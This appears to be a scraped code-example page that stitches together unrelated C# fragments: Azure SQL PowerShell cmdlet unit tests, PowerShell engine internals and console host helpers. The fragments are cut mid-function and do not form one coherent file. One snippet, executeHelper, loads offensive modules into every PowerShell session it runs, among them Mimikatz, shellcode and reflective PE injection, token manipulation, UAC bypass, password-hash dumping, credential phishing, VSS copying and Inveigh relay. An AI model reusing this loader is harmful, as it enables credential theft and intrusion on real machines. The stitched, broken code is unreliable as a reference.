                Assert.IsNotNull(databases[0], "Expecting a Database object.");
                DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "testdbcert4", "Standard", 0, 104857600L, "SQL_Latin1_General_CP1_CI_AS", "S0", false, DatabaseTestHelper.StandardS0SloGuid);

                // Validate Set-AzureSqlDatabase
                databases = new Services.Server.Database[] { setDatabaseNameResult.Single().BaseObject as Services.Server.Database };
                Assert.AreEqual(1, databases.Length, "Expecting one database");
                Assert.IsNotNull(databases[0], "Expecting a Database object.");
                DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "testdbcert3", "Standard", 250, 268435456000L, "SQL_Latin1_General_CP1_CI_AS", "S0", false, DatabaseTestHelper.StandardS0SloGuid);

                databases = new Services.Server.Database[] { setDatabaseSizeResult.Single().BaseObject as Services.Server.Database };
                Assert.AreEqual(1, databases.Length, "Expecting one database");
                Assert.IsNotNull(databases[0], "Expecting a Database object.");
                DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "testdbcert3", "Standard", 5, 5368709120L, "SQL_Latin1_General_CP1_CI_AS", "S0", false, DatabaseTestHelper.StandardS0SloGuid);

                databases = new Services.Server.Database[] { setDatabaseSizeResult2.Single().BaseObject as Services.Server.Database };
                Assert.AreEqual(1, databases.Length, "Expecting one database");
                Assert.IsNotNull(databases[0], "Expecting a Database object.");
                DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "testdbcert4", "Standard", 1, 1073741824L, "SQL_Latin1_General_CP1_CI_AS", "S0", false, DatabaseTestHelper.StandardS0SloGuid);

                databases = new Services.Server.Database[] { setDatabaseSlo.Single().BaseObject as Services.Server.Database };
                Assert.AreEqual(1, databases.Length, "Expecting one database");
                Assert.IsNotNull(databases[0], "Expecting a Database object.");
                DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "testdbcert4", "Standard", 1, 1073741824L, "SQL_Latin1_General_CP1_CI_AS", "S0", false, DatabaseTestHelper.PremiumP2SloGuid);

                // Validate New-AzureSqlDatabase for Premium Edition Database
                VerifyCreatePremiumDb(newPremiumP1DatabaseResult, "testdbcertPremiumDBP1", (P1.Single().BaseObject as ServiceObjective).Id.ToString());
                VerifyCreatePremiumDb(newPremiumP2DatabaseResult, "testdbcertPremiumDBP2", (P2.Single().BaseObject as ServiceObjective).Id.ToString());

                // Validate Get-AzureSqlDatabaseServiceObjective
                var SLOP1 = P1.Single().BaseObject as ServiceObjective;
                Assert.AreEqual("P1", SLOP1.Name);
                Assert.IsNotNull(SLOP1.DimensionSettings, "Expecting some Dimension Setting objects.");
                Assert.AreEqual(1, SLOP1.DimensionSettings.Count(), "Expecting 1 Dimension Setting.");
                Assert.AreEqual("Premium P1 resource allocation.", SLOP1.DimensionSettings[0].Description, "Expecting Dimension Setting description as Resource capacity is reserved.");

                var SLOP2 = P2.Single().BaseObject as ServiceObjective;
                Assert.AreEqual("P2", SLOP2.Name);
                Assert.IsNotNull(SLOP2.DimensionSettings, "Expecting some Dimension Setting objects.");
                Assert.AreEqual(1, SLOP2.DimensionSettings.Count(), "Expecting 1 Dimension Setting.");
                Assert.AreEqual("Premium P2 resource allocation.", SLOP2.DimensionSettings[0].Description, "Expecting Dimension Setting description as Resource capacity is reserved.");

                // Validate Get-AzureSqlDatabaseOperation
                VerifyGetAzureSqlDatabaseOperation(getOperationDbName, getDatabaseOperationByDbResult);
                VerifyGetAzureSqlDatabaseOperation(getOperationDbName, getDatabaseOperationByNameResult);
                VerifyGetAzureSqlDatabaseOperation(getOperationDbName, getDatabaseOperationByIdResult);

                // Validate Remove-AzureSqlDatabase
                databases = new Services.Server.Database[] { removeDatabaseResult1.Single().BaseObject as Services.Server.Database };
                Assert.AreEqual(1, databases.Length, "Expecting no databases");
                Assert.IsNotNull(databases[0], "Expecting a Database object.");
                DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "master", "System", 5, 5368709120L, "SQL_Latin1_General_CP1_CI_AS", "System2", true, DatabaseTestHelper.System2SloGuid);

                databases = new Services.Server.Database[] { removeDatabaseResult2.Single().BaseObject as Services.Server.Database };
                Assert.AreEqual(1, databases.Length, "Expecting no databases");
                Assert.IsNotNull(databases[0], "Expecting a Database object.");
                DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "master", "System", 5, 5368709120L, "SQL_Latin1_General_CP1_CI_AS", "System2", true, DatabaseTestHelper.System2SloGuid);
            }
        }
Exemplo n.º 46
0
 /// <summary>
 /// Default constructor for creating ServerPowerShellDrivers
 /// </summary>
 /// <param name="powershell">decoded powershell object.</param>
 /// <param name="extraPowerShell">extra pipeline to be run after <paramref name="powershell"/> completes.</param>
 /// <param name="noInput">whether there is input for this powershell.</param>
 /// <param name="clientPowerShellId">the client powershell id.</param>
 /// <param name="clientRunspacePoolId">the client runspacepool id.</param>
 /// <param name="runspacePoolDriver">runspace pool driver
 /// which is creating this powershell driver</param>
 /// <param name="hostInfo">host info using which the host for
 /// this powershell will be constructed</param>
 /// <param name="streamOptions">serialization options for the streams in this powershell.</param>
 /// <param name="addToHistory">
 /// true if the command is to be added to history list of the runspace. false, otherwise.
 /// </param>
 /// <param name="rsToUse">
 /// If not null, this Runspace will be used to invoke Powershell.
 /// If null, the RunspacePool pointed by <paramref name="runspacePoolDriver"/> will be used.
 /// </param>
 /// <param name="output">
 /// If not null, this is used as another source of output sent to the client.
 /// </param>
 internal ServerPowerShellDriver(PowerShell powershell, PowerShell extraPowerShell, bool noInput, Guid clientPowerShellId,
                                 Guid clientRunspacePoolId, ServerRunspacePoolDriver runspacePoolDriver,
                                 HostInfo hostInfo, RemoteStreamOptions streamOptions,
                                 bool addToHistory, Runspace rsToUse, PSDataCollection <PSObject> output)
Exemplo n.º 47
0
        private void ReportException(Exception e)
        {
            if (e != null)
            {
                object error;
                IContainsErrorRecord icer = e as IContainsErrorRecord;
                if (icer != null)
                {
                    error = icer.ErrorRecord;
                }
                else
                {
                    error = (object)new ErrorRecord(e, "Host.ReportException", ErrorCategory.NotSpecified, null);
                }

                lock (this.instanceLock)
                {
                    this.currentPowerShell = PowerShell.Create();
                }

                this.currentPowerShell.Runspace = this.myRunSpace;

                try
                {
                    this.currentPowerShell.AddScript("$input").AddCommand("out-string");

                    Collection<PSObject> result;
                    PSDataCollection<object> inputCollection = new PSDataCollection<object>();
                    inputCollection.Add(error);
                    inputCollection.Complete();
                    result = this.currentPowerShell.Invoke(inputCollection);

                    if (result.Count > 0)
                    {
                        string str = result[0].BaseObject as string;
                        if (!string.IsNullOrEmpty(str))
                        { 
                            this.myHost.UI.WriteErrorLine(str.Substring(0, str.Length - 2));
                        }
                    }
                }
                finally
                {
                    lock (this.instanceLock)
                    {
                        this.currentPowerShell.Dispose();
                        this.currentPowerShell = null;
                    }
                }
            }
        }
        public void AzureSqlDatabaseEditionsTests()
        {
            // This test uses the https endpoint, setup the certificates.
            MockHttpServer.SetupCertificates();

            using (System.Management.Automation.PowerShell powershell = System.Management.Automation.PowerShell.Create())
            {
                // Setup the subscription used for the test
                AzureSubscription subscription =
                    UnitTestHelper.SetupUnitTestSubscription(powershell);

                powershell.Runspace.SessionStateProxy.SetVariable(
                    "serverName",
                    SqlDatabaseTestSettings.Instance.ServerV2);

                // Create a new server
                HttpSession testSession = MockServerHelper.DefaultSessionCollection.GetSession(
                    "UnitTest.AzureSqlDatabaseEditionsTests");
                ServerTestHelper.SetDefaultTestSessionSettings(testSession);

                testSession.RequestValidator =
                    new Action <HttpMessage, HttpMessage.Request>(
                        (expected, actual) =>
                {
                    Assert.AreEqual(expected.RequestInfo.Method, actual.Method);
                    Assert.IsTrue(
                        actual.UserAgent.Contains(ApiConstants.UserAgentHeaderValue),
                        "Missing proper UserAgent string.");
                });

                Collection <PSObject> newDatabaseResult1 = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    return(powershell.InvokeBatchScript(
                               @"($db = New-AzureSqlDatabase -ServerName $serverName -DatabaseName testdbeditions1)"));
                });

                Collection <PSObject> newDatabaseResult2 = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    return(powershell.InvokeBatchScript(
                               @"New-AzureSqlDatabase" +
                               @" -ServerName $serverName" +
                               @" -DatabaseName testdbeditions2" +
                               @" -Edition Standard"));
                });

                Collection <PSObject> newDatabaseResult3 = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    return(powershell.InvokeBatchScript(
                               @"($db3 = New-AzureSqlDatabase" +
                               @" -ServerName $serverName" +
                               @" -DatabaseName testdbeditions3" +
                               @" -Edition Basic)"));
                });

                Collection <PSObject> newDatabaseResult4 = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    return(powershell.InvokeBatchScript(
                               @"New-AzureSqlDatabase" +
                               @" -ServerName $serverName" +
                               @" -DatabaseName testdbeditions4" +
                               @" -Edition Premium"));
                });

                Collection <PSObject> serviceObjectives = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    return(powershell.InvokeBatchScript(
                               @"($so = Get-AzureSqlDatabaseServiceObjective -Server $serverName)"));
                });

                Collection <PSObject> newDatabaseResult5 = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    return(powershell.InvokeBatchScript(
                               @"New-AzureSqlDatabase" +
                               @" -ServerName $serverName" +
                               @" -DatabaseName testdbeditions5" +
                               @" -Edition Standard" +
                               @" -ServiceObjective ($so | where-object { $_.name -match ""S2"" })"));
                });

                Collection <PSObject> getSingleDatabaseResult1 = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    return(powershell.InvokeBatchScript(
                               @"Get-AzureSqlDatabase $serverName -DatabaseName testdbeditions1"));
                });

                Collection <PSObject> getSingleDatabaseResult2 = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    return(powershell.InvokeBatchScript(
                               @"$db | Get-AzureSqlDatabase"));
                });

                Collection <PSObject> setDatabaseObjective1 = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    return(powershell.InvokeBatchScript(
                               @"Set-AzureSqlDatabase -ServerName $serverName -DatabaseName testdbeditions2 -ServiceObjective ($so | where-object { $_.name -match ""S2"" }) -Force"));
                });

                Collection <PSObject> setDatabaseObjective2 = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    return(powershell.InvokeBatchScript(
                               @"Set-AzureSqlDatabase -ServerName $serverName -DatabaseName $db3.Name -Edition Standard -MaxSizeGB 1 -ServiceObjective ($so | where-object { $_.name -match ""S1"" }) -Force"));
                });

                Collection <PSObject> getDatabaseResult = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    return(powershell.InvokeBatchScript(
                               @"Get-AzureSqlDatabase" +
                               @" $serverName"));
                });

                Collection <PSObject> removeDatabaseResult = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    powershell.Runspace.SessionStateProxy.SetVariable("db1", newDatabaseResult1.FirstOrDefault());
                    powershell.Runspace.SessionStateProxy.SetVariable("db2", newDatabaseResult2.FirstOrDefault());
                    powershell.Runspace.SessionStateProxy.SetVariable("db3", newDatabaseResult3.FirstOrDefault());
                    powershell.Runspace.SessionStateProxy.SetVariable("db4", newDatabaseResult4.FirstOrDefault());
                    powershell.Runspace.SessionStateProxy.SetVariable("db5", newDatabaseResult5.FirstOrDefault());
                    powershell.InvokeBatchScript(@"$db1 | Remove-AzureSqlDatabase -Force");
                    powershell.InvokeBatchScript(@"$db2 | Remove-AzureSqlDatabase -Force");
                    powershell.InvokeBatchScript(@"$db3 | Remove-AzureSqlDatabase -Force");
                    powershell.InvokeBatchScript(@"$db4 | Remove-AzureSqlDatabase -Force");
                    powershell.InvokeBatchScript(@"$db5 | Remove-AzureSqlDatabase -Force");
                    return(powershell.InvokeBatchScript(@"Get-AzureSqlDatabase $serverName"));
                });

                Assert.AreEqual(0, powershell.Streams.Error.Count, "Unexpected Errors during run!");
                Assert.AreEqual(0, powershell.Streams.Warning.Count, "Unexpected Warnings during run!");

                // Validate New-AzureSqlDatabase
                Services.Server.Database[] databases = new Services.Server.Database[] { newDatabaseResult1.Single().BaseObject as Services.Server.Database };
                Assert.AreEqual(1, databases.Length, "Expecting one database");
                Assert.IsNotNull(databases[0], "Expecting a Database object.");
                DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "testdbeditions1", "Standard", 250, 268435456000L, "SQL_Latin1_General_CP1_CI_AS", "S0", false, DatabaseTestHelper.StandardS0SloGuid);

                databases = new Services.Server.Database[] { newDatabaseResult2.Single().BaseObject as Services.Server.Database };
                Assert.AreEqual(1, databases.Length, "Expecting one database");
                Assert.IsNotNull(databases[0], "Expecting a Database object.");
                DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "testdbeditions2", "Standard", 250, 268435456000L, "SQL_Latin1_General_CP1_CI_AS", "S0", false, DatabaseTestHelper.StandardS0SloGuid);

                databases = new Services.Server.Database[] { newDatabaseResult3.Single().BaseObject as Services.Server.Database };
                Assert.AreEqual(1, databases.Length, "Expecting one database");
                Assert.IsNotNull(databases[0], "Expecting a Database object.");
                DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "testdbeditions3", "Basic", 2, 2147483648L, "SQL_Latin1_General_CP1_CI_AS", "Basic", false, DatabaseTestHelper.BasicSloGuid);

                databases = new Services.Server.Database[] { newDatabaseResult4.Single().BaseObject as Services.Server.Database };
                Assert.AreEqual(1, databases.Length, "Expecting one database");
                Assert.IsNotNull(databases[0], "Expecting a Database object.");
                DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "testdbeditions4", "Premium", 500, 536870912000L, "SQL_Latin1_General_CP1_CI_AS", "P1", false, DatabaseTestHelper.PremiumP1SloGuid);

                databases = new Services.Server.Database[] { newDatabaseResult5.Single().BaseObject as Services.Server.Database };
                Assert.AreEqual(1, databases.Length, "Expecting one database");
                Assert.IsNotNull(databases[0], "Expecting a Database object.");
                DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "testdbeditions5", "Standard", 250, 268435456000L, "SQL_Latin1_General_CP1_CI_AS", "S2", false, DatabaseTestHelper.StandardS2SloGuid);


                // Validate Get-AzureSqlDatabase
                databases = getDatabaseResult.Select(r => r.BaseObject as Services.Server.Database).ToArray();
                Assert.AreEqual(6, databases.Length, "Expecting 3 databases");
                Assert.IsNotNull(databases[0], "Expecting a Database object.");
                Assert.IsNotNull(databases[1], "Expecting a Database object.");
                Assert.IsNotNull(databases[2], "Expecting a Database object.");
                Assert.IsNotNull(databases[3], "Expecting a Database object.");
                Assert.IsNotNull(databases[4], "Expecting a Database object.");
                Assert.IsNotNull(databases[5], "Expecting a Database object.");
                DatabaseTestHelper.ValidateDatabaseProperties(databases[1], "master", "System", 5, 5368709120L, "SQL_Latin1_General_CP1_CI_AS", "System2", true, DatabaseTestHelper.System2SloGuid);
                DatabaseTestHelper.ValidateDatabaseProperties(databases[3], "testdbeditions1", "Standard", 250, 268435456000L, "SQL_Latin1_General_CP1_CI_AS", "S0", false, DatabaseTestHelper.StandardS0SloGuid);
                DatabaseTestHelper.ValidateDatabaseProperties(databases[4], "testdbeditions2", "Standard", 250, 268435456000L, "SQL_Latin1_General_CP1_CI_AS", "S0", false, DatabaseTestHelper.StandardS2SloGuid);
                DatabaseTestHelper.ValidateDatabaseProperties(databases[5], "testdbeditions3", "Basic", 2, 2147483648L, "SQL_Latin1_General_CP1_CI_AS", "Basic", false, DatabaseTestHelper.StandardS1SloGuid);
                DatabaseTestHelper.ValidateDatabaseProperties(databases[2], "testdbeditions4", "Premium", 500, 536870912000L, "SQL_Latin1_General_CP1_CI_AS", "P1", false, DatabaseTestHelper.PremiumP1SloGuid);
                DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "testdbeditions5", "Standard", 250, 268435456000L, "SQL_Latin1_General_CP1_CI_AS", "S2", false, DatabaseTestHelper.StandardS2SloGuid);

                // Validate Get-AzureSqlDatabaseServiceObjective
                var sos = serviceObjectives.Select(x => x.BaseObject as ServiceObjective).ToArray();
                Assert.AreEqual(10, sos.Count());
                ValidateServiceObjectiveProperties(sos[0], "System", "", 1, "Used for master database only.");
                ValidateServiceObjectiveProperties(sos[1], "System2", "", 1, "");
                ValidateServiceObjectiveProperties(sos[2], "Basic", "", 1, "Basic resource allocation.");
                ValidateServiceObjectiveProperties(sos[3], "S0", "", 1, "Standard S0 resource allocation.");
                ValidateServiceObjectiveProperties(sos[4], "S1", "", 1, "Standard S1 resource allocation.");
                ValidateServiceObjectiveProperties(sos[5], "S2", "", 1, "Standard S2 resource allocation.");
                ValidateServiceObjectiveProperties(sos[6], "S3", "", 1, "Standard S3 resource allocation.");
                ValidateServiceObjectiveProperties(sos[7], "P1", "", 1, "Premium P1 resource allocation.");
                ValidateServiceObjectiveProperties(sos[8], "P2", "", 1, "Premium P2 resource allocation.");
                ValidateServiceObjectiveProperties(sos[9], "P3", "", 1, "Premium P3 resource allocation.");

                // Validate Remove-AzureSqlDatabase
                databases = new Services.Server.Database[] { removeDatabaseResult.Single().BaseObject as Services.Server.Database };
                Assert.AreEqual(1, databases.Length, "Expecting no databases");
                Assert.IsNotNull(databases[0], "Expecting a Database object.");
                DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "master", "System", 5, 5368709120L, "SQL_Latin1_General_CP1_CI_AS", "System2", true, DatabaseTestHelper.System2SloGuid);
            }
        }
Exemplo n.º 49
0
        private void executeHelper(string cmd, object input)
        {
            if (String.IsNullOrEmpty(cmd))
            {
                return;
            }

            lock (this.instanceLock)
            {
                this.currentPowerShell = PowerShell.Create();
            }

            try
            {
                this.currentPowerShell.Runspace = this.myRunSpace;
				
				this.currentPowerShell.AddScript(Resources.Invoke_Shellcode());
				this.currentPowerShell.AddScript(Resources.Invoke_Mimikatz());
				this.currentPowerShell.AddScript(Resources.Invoke_ReflectivePEInjection());
				this.currentPowerShell.AddScript(Resources.Invoke_PsExec());
				this.currentPowerShell.AddScript(Resources.Invoke_TokenManipulation());
				this.currentPowerShell.AddScript(Resources.PowerCat());
				this.currentPowerShell.AddScript(Resources.Invoke_PsUACme());
				this.currentPowerShell.AddScript(Resources.Invoke_Encode());
				this.currentPowerShell.AddScript(Resources.Invoke_PowerView());
				this.currentPowerShell.AddScript(Resources.Invoke_PowerUp());				
				this.currentPowerShell.AddScript(Resources.Get_PassHashes());
				this.currentPowerShell.AddScript(Resources.Invoke_CredentialsPhish());
				this.currentPowerShell.AddScript(Resources.Copy_VSS());
				this.currentPowerShell.AddScript(Resources.Port_Scan());
                this.currentPowerShell.AddScript(Resources.Inveigh());
                this.currentPowerShell.AddScript(Resources.Inveigh_relay());

                this.currentPowerShell.AddScript(cmd);
                this.currentPowerShell.AddCommand("out-default");
                this.currentPowerShell.Commands.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output);

                if (input != null)
                {
                    this.currentPowerShell.Invoke(new object[] { input });
                }
                else
                {
                    this.currentPowerShell.Invoke();
                }
            }
            finally
            {
                lock (this.instanceLock)
                {
                    this.currentPowerShell.Dispose();
                    this.currentPowerShell = null;
                }
            }
        }
        public void AzureSqlDatabaseServerQuotaCertAuthTest()
        {
            // This test uses the https endpoint, setup the certificates.
            MockHttpServer.SetupCertificates();

            using (System.Management.Automation.PowerShell powershell = System.Management.Automation.PowerShell.Create())
            {
                // Setup the subscription used for the test
                AzureSubscription subscription =
                    UnitTestHelper.SetupUnitTestSubscription(powershell);

                powershell.Runspace.SessionStateProxy.SetVariable(
                    "serverName",
                    SqlDatabaseTestSettings.Instance.ServerV2);

                // Create a new server
                HttpSession testSession = MockServerHelper.DefaultSessionCollection.GetSession(
                    "UnitTest.AzureSqlDatabaseServerQuotaCertAuthTest");
                ServerTestHelper.SetDefaultTestSessionSettings(testSession);

                testSession.RequestValidator =
                    new Action <HttpMessage, HttpMessage.Request>(
                        (expected, actual) =>
                {
                    Assert.AreEqual(expected.RequestInfo.Method, actual.Method);
                    Assert.IsTrue(
                        actual.UserAgent.Contains(ApiConstants.UserAgentHeaderValue),
                        "Missing proper UserAgent string.");
                });

                Collection <PSObject> getQuota1 = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    return(powershell.InvokeBatchScript(
                               @"Get-AzureSqlDatabaseServerQuota -ServerName $serverName"));
                });

                Collection <PSObject> getQuota2 = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    return(powershell.InvokeBatchScript(
                               @"Get-AzureSqlDatabaseServerQuota -ServerName $serverName -QuotaName premium_databases"));
                });

                Assert.AreEqual(0, powershell.Streams.Error.Count, "Unexpected Errors during run!");
                Assert.AreEqual(0, powershell.Streams.Warning.Count, "Unexpected Warnings during run!");

                // Validate Get-AzureSqlDatabaseServerQuota
                var quotas = getQuota1.Select(x => ((IEnumerable)x.BaseObject).Cast <Model.SqlDatabaseServerQuotaContext>().Single()).ToArray();
                Assert.AreEqual(1, quotas.Length, "Expecting one server quota");
                Assert.IsNotNull(quotas[0], "Expecting a server quota.");
                Assert.AreEqual("premium_databases", quotas[0].Name);
                Assert.AreEqual(SqlDatabaseTestSettings.Instance.ServerV2, quotas[0].ServerName);
                Assert.AreEqual("Microsoft.SqlAzure.ServerQuota", quotas[0].Type);
                Assert.AreEqual("100", quotas[0].Value);
                Assert.AreEqual("Normal", quotas[0].State);

                quotas = getQuota2.Select(x => ((IEnumerable)x.BaseObject).Cast <Model.SqlDatabaseServerQuotaContext>().Single()).ToArray();
                Assert.AreEqual(1, quotas.Length, "Expecting server quota");
                Assert.IsNotNull(quotas[0], "Expecting a server quota.");
                Assert.AreEqual("premium_databases", quotas[0].Name);
                Assert.AreEqual(SqlDatabaseTestSettings.Instance.ServerV2, quotas[0].ServerName);
                Assert.AreEqual("Microsoft.SqlAzure.ServerQuota", quotas[0].Type);
                Assert.AreEqual("100", quotas[0].Value);
                Assert.AreEqual("Normal", quotas[0].State);
            }
        }
Exemplo n.º 51
0
 CommandCompletion IPSConsoleReadLineMockableMethods.CompleteInput(string input, int cursorIndex, Hashtable options, System.Management.Automation.PowerShell powershell)
 {
     return(CallPossibleExternalApplication(
                () => CommandCompletion.CompleteInput(input, cursorIndex, options, powershell)));
 }
        /// <summary>
        /// Create $testdb1 and $testdb2 on the given context.
        /// </summary>
        /// <param name="powershell">The powershell instance containing the context.</param>
        /// <param name="contextVariable">The variable name that holds the server context.</param>
        public static void CreateTestDatabasesWithSqlAuth(
            System.Management.Automation.PowerShell powershell,
            string contextVariable)
        {
            HttpSession testSession = MockServerHelper.DefaultSessionCollection.GetSession(
                "UnitTest.Common.CreateTestDatabasesWithSqlAuth");
            DatabaseTestHelper.SetDefaultTestSessionSettings(testSession);
            testSession.RequestValidator =
                new Action<HttpMessage, HttpMessage.Request>(
                (expected, actual) =>
                {
                    Assert.AreEqual(expected.RequestInfo.Method, actual.Method);
                    Assert.AreEqual(expected.RequestInfo.UserAgent, actual.UserAgent);
                    switch (expected.Index)
                    {
                        // Request 0-2: Create testdb1
                        // Request 3-5: Create testdb2
                        // Request 6-8: Create testdb3
                        case 0:
                        case 1:
                        case 2:
                        case 3:
                        case 4:
                        case 5:
                        case 6:
                        case 7:
                        case 8:
                            DatabaseTestHelper.ValidateHeadersForODataRequest(
                                expected.RequestInfo,
                                actual);
                            break;
                        default:
                            Assert.Fail("No more requests expected.");
                            break;
                    }
                });

            using (AsyncExceptionManager exceptionManager = new AsyncExceptionManager())
            {
                Collection<PSObject> database1, database2, database3;
                using (new MockHttpServer(
                    exceptionManager,
                    MockHttpServer.DefaultServerPrefixUri,
                    testSession))
                {
                    database1 = powershell.InvokeBatchScript(
                        @"$testdb1 = New-AzureSqlDatabase " +
                        @"-Context $context " +
                        @"-DatabaseName testdb1 " +
                        @"-Force",
                        @"$testdb1");
                    database2 = powershell.InvokeBatchScript(
                        @"$testdb2 = New-AzureSqlDatabase " +
                        @"-Context $context " +
                        @"-DatabaseName testdb2 " +
                        @"-Collation Japanese_CI_AS " +
                        @"-Edition Web " +
                        @"-MaxSizeGB 5 " +
                        @"-Force",
                        @"$testdb2");
                    database3 = powershell.InvokeBatchScript(
                        @"$testdb3 = New-AzureSqlDatabase " +
                        @"-Context $context " +
                        @"-DatabaseName testdb3 " +
                        @"-MaxSizeBytes 104857600 " +
                        @"-Force",
                        @"$testdb3");
                }

                Assert.AreEqual(0, powershell.Streams.Error.Count, "Errors during run!");
                Assert.AreEqual(0, powershell.Streams.Warning.Count, "Warnings during run!");
                powershell.Streams.ClearStreams();

                Services.Server.Database database = database1.Single().BaseObject as Services.Server.Database;
                Assert.IsTrue(database != null, "Expecting a Database object");
                DatabaseTestHelper.ValidateDatabaseProperties(database, "testdb1", "Web", 1, 1073741824L, "SQL_Latin1_General_CP1_CI_AS", "Shared", false, DatabaseTestHelper.SharedSloGuid);

                database = database2.Single().BaseObject as Services.Server.Database;
                Assert.IsTrue(database != null, "Expecting a Database object");
                DatabaseTestHelper.ValidateDatabaseProperties(database, "testdb2", "Web", 5, 5368709120L, "Japanese_CI_AS", "Shared", false, DatabaseTestHelper.SharedSloGuid);

                database = database3.Single().BaseObject as Services.Server.Database;
                Assert.IsTrue(database != null, "Expecting a Database object");
                DatabaseTestHelper.ValidateDatabaseProperties(database, "testdb3", "Web", 0, 104857600L, "SQL_Latin1_General_CP1_CI_AS", "Shared", false, DatabaseTestHelper.SharedSloGuid);

            }
        }
Exemplo n.º 53
0
        /// <summary>
        /// Get the PowerShell instance for the PSv2 remote end
        /// Generate the PowerShell instance by using the text of the scriptblock
        /// </summary>
        /// <remarks>
        /// PSv2 doesn't understand the '$using' prefix. To make UsingExpression work on PSv2 remote end, we will have to
        /// alter the script, and send the altered script to the remote end. Since the script is altered, when there is an
        /// error, the error message will show the altered script, and that could be confusing to the user. So if the remote
        /// server is PSv3 or later version, we will use a different approach to handle UsingExpression so that we can keep
        /// the script unchanged.
        /// 
        /// However, on PSv3 and PSv4 remote server, it's not well supported if UsingExpressions are used in different scopes (fixed in PSv5).
        /// If the remote end is PSv3 or PSv4, and there are UsingExpressions in different scopes, then we have to revert back to the approach 
        /// used for PSv2 remote server.
        /// </remarks>
        /// <returns></returns>
        private System.Management.Automation.PowerShell GetPowerShellForPSv2()
        {
            if (_powershellV2 != null) { return _powershellV2; }

            // Try to convert the scriptblock to powershell commands.
            _powershellV2 = ConvertToPowerShell();
            if (_powershellV2 != null)
            {
                // Look for EndOfStatement tokens.
                foreach (var command in _powershellV2.Commands.Commands)
                {
                    if (command.IsEndOfStatement)
                    {
                        // PSv2 cannot process this.  Revert to sending script.
                        _powershellV2 = null;
                        break;
                    }
                }
                if (_powershellV2 != null) { return _powershellV2; }
            }

            List<string> newParameterNames;
            List<object> newParameterValues;

            string scriptTextAdaptedForPSv2 = GetConvertedScript(out newParameterNames, out newParameterValues);
            _powershellV2 = System.Management.Automation.PowerShell.Create().AddScript(scriptTextAdaptedForPSv2);

            if (_args != null)
            {
                foreach (object arg in _args)
                {
                    _powershellV2.AddArgument(arg);
                }
            }

            if (newParameterNames != null)
            {
                Dbg.Assert(newParameterValues != null && newParameterNames.Count == newParameterValues.Count, "We should get the value for each using variable");
                for (int i = 0; i < newParameterNames.Count; i++)
                {
                    _powershellV2.AddParameter(newParameterNames[i], newParameterValues[i]);
                }
            }

            return _powershellV2;
        }
        /// <summary>
        /// Removes $testdb1 and $testdb2 on the given context.
        /// </summary>
        /// <param name="powershell">The powershell instance containing the context.</param>
        /// <param name="contextVariable">The variable name that holds the server context.</param>
        public static void RemoveTestDatabasesWithSqlAuth(
            System.Management.Automation.PowerShell powershell,
            string contextVariable)
        {
            HttpSession testSession = MockServerHelper.DefaultSessionCollection.GetSession(
                "UnitTest.Common.RemoveTestDatabasesWithSqlAuth");
            DatabaseTestHelper.SetDefaultTestSessionSettings(testSession);
            testSession.RequestValidator =
                new Action<HttpMessage, HttpMessage.Request>(
                (expected, actual) =>
                {
                    Assert.AreEqual(expected.RequestInfo.Method, actual.Method);
                    Assert.AreEqual(expected.RequestInfo.UserAgent, actual.UserAgent);
                    switch (expected.Index)
                    {
                        // Request 0-5: Remove database requests
                        case 0:
                        case 1:
                        case 2:
                        case 3:
                        case 4:
                        case 5:
                        case 6:
                        case 7:
                        case 8:
                            DatabaseTestHelper.ValidateHeadersForODataRequest(
                                expected.RequestInfo,
                                actual);
                            break;
                        default:
                            Assert.Fail("No more requests expected.");
                            break;
                    }
                });

            using (AsyncExceptionManager exceptionManager = new AsyncExceptionManager())
            {
                using (new MockHttpServer(
                    exceptionManager,
                    MockHttpServer.DefaultServerPrefixUri,
                    testSession))
                {
                    powershell.InvokeBatchScript(
                        @"Remove-AzureSqlDatabase " +
                        @"-Context $context " +
                        @"-DatabaseName testdb1 " +
                        @"-Force");
                    powershell.InvokeBatchScript(
                        @"Remove-AzureSqlDatabase " +
                        @"-Context $context " +
                        @"-DatabaseName testdb2 " +
                        @"-Force");
                    powershell.InvokeBatchScript(
                        @"Remove-AzureSqlDatabase " +
                        @"-Context $context " +
